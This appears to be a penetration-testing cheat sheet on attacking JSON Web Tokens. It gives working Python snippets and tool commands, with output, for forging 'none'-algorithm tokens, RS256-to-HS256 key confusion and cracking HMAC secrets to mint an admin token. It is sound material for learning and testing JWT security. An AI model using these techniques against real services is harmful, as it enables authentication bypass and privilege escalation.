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230 lines
8.0 KiB
Markdown
230 lines
8.0 KiB
Markdown
# JWT - JSON Web Token
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> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
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## Summary
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- JWT Format
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- JWT Signature - None algorithm
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- JWT Signature - RS256 to HS256
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- Breaking JWT's secret
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## Tools
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- [jwt_tool](https://github.com/ticarpi/jwt_tool)
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- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
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## JWT Format
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JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
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Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`
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Where we can split it into 3 components separated by a dot.
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```powershell
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eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
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eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
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UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
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```
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### Header
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Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
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"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
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```json
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{
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"typ": "JWT",
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"alg": "HS256"
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}
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```
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### Payload
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```json
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{
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"sub":"1234567890",
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"name":"Amazing Haxx0r",
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"exp":"1466270722",
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"admin":true
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}
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```
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Claims are the predefined keys and their values:
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- iss: issuer of the token
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- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
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- iat: The time the JWT was issued. Can be used to determine the age of the JWT
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- nbf: "not before" is a future time when the token will become active.
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- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
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- sub: subject of the token (rarely used)
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- aud: audience of the token (also rarely used)
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JWT Encoder – Decoder: `http://jsonwebtoken.io`
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## JWT Signature - None algorithm
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JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
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To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
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However, this won't work unless you **remove** the signature
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The following code is a basic test for a None algorithm.
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```python
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import jwt
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import base64
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def b64urlencode(data):
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return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
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print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
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'.' + b64urlencode("{\"data\":\"test\"}") + '.'
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```
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Alternatively you can modify an existing JWT (be careful with the expiration time)
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```python
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#!/usr/bin/python
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# -*- coding: utf-8 -*-
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jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
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header, payload, signature = jwt.split('.')
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# Replacing the ALGO and the payload username
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header = header.decode('base64').replace('HS256',"none")
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payload = (payload+"==").decode('base64').replace('test','admin')
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header = header.encode('base64').strip().replace("=","")
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payload = payload.encode('base64').strip().replace("=","")
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# 'The algorithm 'none' is not supported'
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print( header+"."+payload+".")
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```
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## JWT Signature - RS256 to HS256
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Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
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> The algorithm HS256 uses the secret key to sign and verify each message.
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> The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
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```python
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import jwt
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public = open('public.pem', 'r').read()
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print public
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print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
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```
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Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
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`pip install pyjwt==0.4.3`.
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## Breaking JWT's secret
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Encode/Decode JWT with the secret.
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```python
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import jwt
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encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'
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encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
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jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key
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# result
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{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
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```
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### JWT tool
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First, bruteforce the "secret" key used to compute the signature.
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```powershell
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git clone https://github.com/ticarpi/jwt_tool
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python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist
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Token header values:
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[+] alg = HS256
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[+] typ = JWT
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Token payload values:
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[+] sub = 1234567890
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[+] role = user
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[+] iat = 1516239022
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File loaded: /tmp/wordlist
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Testing 5 passwords...
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[+] secret is the CORRECT key!
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```
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Then edit the field inside the JSON Web Token.
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```powershell
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Current value of role is: user
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Please enter new value and hit ENTER
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> admin
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[1] sub = 1234567890
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[2] role = admin
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[3] iat = 1516239022
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[0] Continue to next step
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Please select a field number:
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(or 0 to Continue)
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> 0
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```
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Finally, finish the token by signing it with the previously retrieved "secret" key.
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```powershell
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Token Signing:
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[1] Sign token with known key
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[2] Strip signature from token vulnerable to CVE-2015-2951
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[3] Sign with Public Key bypass vulnerability
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[4] Sign token with key file
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Please select an option from above (1-4):
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> 1
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Please enter the known key:
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> secret
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Please enter the keylength:
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[1] HMAC-SHA256
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[2] HMAC-SHA384
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[3] HMAC-SHA512
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> 1
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Your new forged token:
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[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
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[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
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```
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### JWT cracker
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```bash
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git clone https://github.com/brendan-rius/c-jwt-cracker
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./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
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Secret is "Sn1f"
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```
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### Hashcat
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> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065)
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```bash
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/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
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eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
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```
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## References
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- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
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- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
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- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
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- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
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- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
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- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
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- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
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- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
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- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) |